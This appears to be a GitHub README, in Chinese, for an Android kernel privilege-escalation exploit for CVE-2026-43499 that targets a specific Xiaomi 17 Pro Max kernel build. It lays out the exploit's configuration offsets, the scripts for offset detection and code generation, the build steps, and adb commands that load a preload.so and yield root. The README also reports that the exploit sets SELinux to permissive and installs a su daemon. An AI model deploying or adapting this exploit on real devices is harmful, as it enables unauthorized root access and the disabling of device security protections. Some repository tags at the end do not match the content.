x-spy/CVE-2026-43499-popsicle
GitHub: x-spy/CVE-2026-43499-popsicle
针对小米17 Pro Max设备特定内核版本的CVE-2026-43499漏洞提权利用工具,包含偏移检测、代码生成、交叉编译和完整提权利用链。
Stars: 144 | Forks: 39
# CVE-2026-43499 针对 `popsicle`
该仓库包含 `CVE-2026-43499` 针对小米 17 Pro Max `popsicle` 的利用,适用于内核版本号为 `6.12.23-android16-5-g75e9b1c7ae7c-abogki463945075-4k` 的设备(已在 `popsicle_images_OS3.0.313.0.WPBCNXM_16.0` 和 `popsicle_images_OS3.0.315.0.WPBCNXM_16.0` 版本上测试)。
## `popsicle` 配置
```
{
"p0_phys_offset": "0x80000000",
"p0_kernel_phys_load": "0xc7800000",
"target_device_path": "/dev/uinput",
"direct_root_cpu": 7
}
```
前两个物理地址可以通过在已 Root 设备上读取 `/proc/iomem` 自动推导:
```
python3 detect_offset.py
```
直接运行即可,脚本会自动通过 `adb shell su -c` 读取第一个可用设备的内存布局,并打印两个 profile 字段。
后两个字段可以运行以下脚本获取:
```
python3 detect_device.py
```
## 生成 target
依赖 Python 3 和 `llvm-objdump`:
```
python3 generate_target.py \
--boot boot.img \
--profile profile.json \
-o source/src/target.h
```
## 编译
```
make -C source clean preload
```
当 NDK 无法自动发现时:
```
NDK_ROOT=/path/to/android-ndk make -C source clean preload
```
产物:
```
source/build/bin/preload.so
```
## 运行
```
adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 0644 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true'
adb shell '/data/local/tmp/su -c id'
```
成功时会输出:
```
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
direct-root-summary root=1 id=1 su=1/... selinux=1->0 uid=0 euid=0 gid=0 egid=0
```
利用链获取 `init_cred` 后会将 SELinux 切换为 Permissive 模式,并重新加载当前 policy。随后安装 `/data/local/tmp/su` 和 adb mount namespace 中的 `su`,并启动当前开机周期内持续运行的 su daemon,重启后失效。
## 限制
利用完成后,新启动的 App 进程无法完成 Framework 初始化而闪退。重启设备后即可恢复。
标签:Web报告查看器, 内核漏洞, 安卓提权, 客户端加密, 本地提权